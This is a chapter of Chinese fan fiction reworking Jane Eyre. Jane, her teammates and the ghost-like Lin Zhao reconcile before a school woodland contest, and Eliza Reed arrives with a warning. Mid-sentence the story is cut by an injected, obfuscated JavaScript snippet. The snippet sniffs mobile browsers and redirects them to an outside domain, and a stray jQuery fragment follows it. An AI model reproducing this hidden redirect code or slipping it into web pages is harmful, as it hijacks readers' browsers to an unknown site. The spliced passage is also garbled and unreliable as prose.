“这……”乔治安娜没想到会得到这样的回答，一时语塞。
而同样的，简没忍住和埃莉诺对视一眼，什么矛盾愧疚全被抛之脑后，只剩对比阿特丽斯的话的不可思议。
“贝蒂……？”简犹豫着喊了比阿特丽斯一声。
后者看过来，没有和预期那样冷笑，脸上是相当复杂的情绪。
“抱歉，里德小姐，我们还要去吃饭，就不闲聊了。”埃莉诺的心情则直白地多，她的微笑重新回到脸上，连用词都顾不上讲究了。
说完，她一手一个人地，拉着简和比阿特丽斯快步离开了。
“等等……”乔治安娜试图说些什么，但已经没人在听了。
去往餐室的路上依旧没人说话，可氛围已经悄然改变了。
简一路都在偷瞄比阿特丽斯，直到坐在餐室里，叉子戳了面前食物好几下，她终于是忍不住发问：“……你刚刚是在为我说话吗？”
比阿特丽斯不看她，也不回答。可这个态度与这几天的表现相比，明显温柔多了。
感觉这是个破冰的好时机。
简这么想着，又去看埃莉诺。
埃莉诺这几天不知道在烦恼什么，经常陷在自己的世界。因为被比阿特丽斯虎视眈眈着，简也不方便去细问。
直到这会，埃莉诺显然也被比阿特丽斯的反常吸引了注意，简终于久违和她对上眼。
“这才像贝蒂嘛，你总算看明白什么人是可信的了。”注意到简的目光，埃莉诺眨眨眼，赶紧接话，没再让沉默重新蔓延开。
简张了张嘴，说话前又看了一眼比阿特丽斯。
对方低着头，专心进食，一改之前的戒备态度，似乎毫不关心她们说什么。
从比阿特丽斯无视里感受到让步，简深吸一口气，把刀叉放了下来。
“莉娜，贝蒂，我想解释一下前几天晚上的事情。”
埃莉诺脸上的微笑僵住了，她有些犹豫地停住舀汤的动作：“琼，如果你不想的话不用勉强自己……”她眼里的担忧不加掩饰，简一下便明白她是真心为自己考虑才这么说。
“没有，不算勉强，”简轻轻摇摇头，“我很感谢你们让我加入队伍，希望能‘好好相处，赢下比赛’的话不是谎言。但我确实也有事情瞒着你们，很抱歉这让你们觉得我不够坦诚，影响了比赛……”
她迟疑一下，还是选择隐瞒下林昭的存在。
埃莉诺听得出她的欲言又止，但她本来也没那么在意这件事的所谓“真相”。那一天发生的事太多，她始终觉得彼此的情绪只是借着一个理由爆发出来罢了。
“人都有自己的秘密。”她朝简摇摇头，眉眼弯弯，“连幽灵都不能直接穿透人类的躯壳读懂她们的心意，不是吗？”
这个说法的暗示意味明显，或许埃莉诺确实意识到了什么，可那双对她微笑的眼睛坦荡，只是写满理解与鼓励。
简一下明白，埃莉诺这几天的烦恼与她无关，也就是说——埃莉诺一直相信着她。
她感受到心里又涌现出难言的热意，脱口而出：“是啊，秘密……除了这件事之外的所有，我都不愿有所保留。如果把心都掏出来，能让你们知道我的心意，换来你们的信任，我会无比愿意这么做——”
一旁的比阿特丽斯放下刀叉，拿起餐巾擦拭过嘴边。她表情淡淡，一扫这几日的冷酷，终于开口加入话题。
“这样血腥的事还是不要做了，你是几百年前来的野鬼吗？”
简眨眨眼，配合地闭上嘴，满眼恳切地等待起比阿特丽斯的下文。
被盯得发麻，比阿特丽斯微微皱眉。
“……所以说，这也不是什么只能你们两个人听的话不是吗？真不知道这怎么要花你几天时间。”
“嗯？”简下意识疑问出声。
等等，比阿特丽斯的意思是难道是从一开始，她那副态度都只是防止自己解释不带她吗？
“啊……”
“不过你这解释说了不如不说。”没让简感慨出什么东西，比阿特丽斯飞快打断，“以及刚刚，我不是为你说话，只是乔琪的话太矛盾了。”
“还有，就是你把心掏出来，也不能证明什么。比起说这些，不如把这心思放比赛上——”她没控制住音量，最后一个词说得很大声。
“用餐时不要喧闹——”米勒女士的警告从几张桌子外传来。
“咳咳……”埃莉诺反应很快地捂住嘴，才没让笑声冒出来，避免了更多的警告。
“说到比赛，我倒觉得这几天问题不在我身上……”简回过神，实在觉得自己不该独自担责。
“你自己刚刚说要道歉影响比赛。”比阿特丽斯倒是边吃边听得仔细。
“所以，我们没事了对吗？”埃莉诺的笑容从简的第一句话就没消失过，这时更是灿烂。
“比赛，还有比赛！现在是玩‘和好游戏’的时候吗？”比阿特丽斯又恢复了刻薄态度，不知道是气得还是怎么，脸上还红红的。
说完这句，她丢下一句吃完了先回去了飞快起身，逃开了朋友们的追问以及米勒女士的第二次警告。
十几岁的孩子，烦恼像龙卷风，来势汹汹，离开的也快。而相应的阴晴雨雪，在团队合作上体现的一览无余。
简调整好心态后，和埃莉诺的配合又重回日常水平；比阿特丽斯则又回到之前那种漠不关心的态度，心思专心落在了比赛。
于是接下来几天，她们总算开始发挥出真实水平，很快追平分数，拿到第一，还领先第二名不少分。
但简的心情并没有随着名次上升完全好转。
原因也很简单，只要里德家的几人还在惠尔伍德一天，她就难以平心静气。
更别提，比阿特丽斯和乔治安娜在第三天傍晚之后，居然反而走得更近了。
“我怎么感觉贝蒂只对我记仇呢？像莉娜那样好脾气的人也就算了，乔治安娜不比我要麻烦吗？”
为了准备最后一天，也是最困难的团队项目，“林地探索”，简正背着小组里的其他人，和林昭提前来林地熟悉路线。
惠尔伍德平日也有组织学生来林地活动的安排，所以今年维克多女士想出了这个将运动、地理学习以及团队合作结合的项目：每个团体都要进入林地，找到指定物品，然后在规定时间离开林地。
“首先，简你不麻烦。其次，比阿特丽斯和乔治安娜其实也没有很热络。”
林昭一边帮简拨开一些低矮树枝，一边回忆着这些日子监视约翰·里德顺道看见的情况，得出结论，
“大部分时间，她不怎么说话，只是在听乔治安娜抱怨对各种事的不满。”
“她有那么喜欢听我坏话吗？”简想起来之前林昭听见她们讨论自己的事情，忍不住咂舌。
“这倒不是。乔治安娜如果说起你，比阿特丽斯就表示不想听，然后话题就会去到别的事情上了。”林昭说着，眼前浮现起每到这时比阿特丽斯略显不自然的表情。
“……听都不想听了？不行，比完赛我一定要找她问个清楚。”
简心情郁闷，不想再走。她四处张望，找到一棵比较大的树，往上一靠，扭头看林昭时，注意到旁边一个隐秘的洞口：“咦，林，你看看这边？”
感觉比阿特丽斯对简现在应该没有敌意，但这表现，怎么那么像某种比较有争议的性格呢？林昭默想，没说出口自己的猜测，选择相信简可以自己应对。
“嗯……”她走到简旁边，沿着她打量的方向仔细看，也吃了一惊，“底下很深呢。记下来吧，明天你们可要小心这里。”
简点点头，在带着的纸上记下了标注。
就在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360967|183675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们没说话的片刻，附近传来树枝被踩碎的咔擦声响。
项目早一日通知就是为了让学生们有所准备的，这个时间段也有别的小组拜托老师带着来考察。但随着这个声音离他她们越来越近，林昭果断戒备地站在简身前。
简也意识到不对劲，在林昭身后抓上她的衣角，摒住了呼吸。
十几秒后，一个熟人从她们来的方向现身。
是伊丽莎·里德。
简松开手，觉得这一幕实在眼熟。
“我在不远处听见耳熟的声音，果然是你，琼。”伊丽莎看见简倒是不意外，只不过没看到其他人这点使得她微微挑眉，“……但你怎么是一个人？”
“……”简差点没忍住去看林昭，“你迷路了？找我干嘛。”
“那你确实是一个人在这了吧。没和老师报备跑来这……假如我现在去举报你，你们队会不会被取消资格？”伊丽莎了然地点点头。
“……”简就知道里德家个个都是些有事没事找事的人。
“别担心，她也是一个人。”林昭已经在这几句来回去附近看了几眼，确认除了伊丽莎没有别的人后，又回到简旁边。
听到林昭的话，简也学着伊丽莎点头：“你明明也是一个人，别威胁我。还是说，因为拿不到好成绩想逃跑，准备拉我一起？”
“我之前都不知道你这么粘人，伊丽莎。”
“来了这，说话真是越来越难听。”伊丽莎摊手，走近两步，放低了音量，“说认真的，琼，我不是来找麻烦的。”
简觉得就伊丽莎刚刚的开场白实在没有信服力，怀疑地制止她前进的脚步：“停那。附近没人，就那说。”
伊丽莎不知道简哪来的自信，但看她一脸笃定，还是停下脚步。
站定，她开门见山：“约翰明天准备给你们找点麻烦。”
“……”简这下真是没忍住，朝林昭看了一眼，抿着嘴无语极了。
林昭配合地挪到伊丽莎附近，使得简的视线不至于偏移的太夸张，然后补充信息：“伊丽莎，她这些天确实不怎么和约翰·里德还有乔治安娜来往。”
看简不接话，伊丽莎难免疑惑。
“你不问我什么麻烦吗？”
简心想：“林都说你没和他们往来了，信你知道他的计划就有鬼了。”
想完，她看看在伊丽莎旁边站着的林昭，眨眨眼，意识到确实是有鬼。
她总算勉强开口：“我怎么相信你？你们虽然不是一队的，但在盖茨海德时，你们互相勾结的还少吗？”
伊丽莎的脸上闪过一丝不自然，但她还是直视着简的眼睛说：“这些天，我看了你们的比赛。你……确实和以前不一样了。我愿意为我曾经的偏见，向你道歉。”
在原著里，伊丽莎后来确实对盖茨海德的所有人都有比较深刻认识，以至于对回来的简也态度和缓——虽然林昭很难对她一头扎入宗教的选择做出好评。
总之，从林昭的了解，伊丽莎是一个会根据各种情况，选择对自己最有利去改变的人。她要是真因为看了简在比赛的表现，有所动容试图求和，也不是不能理解。
但和读者角度出发得出的结论不同，简的眼睛因为怀疑，都快皱得眯成一条线了。
她在盖茨海德不是没试过和表姐们示好，可一直都没什么成效。所以她早就放弃这个想法了。
她是个很记仇的人，但不喜欢报复。如果不是约翰·里德那种找上来的情况，她其实都不想花心思搭理他们。比起和不知悔改的人浪费时间，她更想花时间在和值得的人相处。
但，伊丽莎·里德在和她道歉？
这个不知道在心里想过多少次，又放弃过多久的画面出现在眼前时，她还是禁不住心里一颤。
她迟疑着，呼出一口气，开口道：“你……”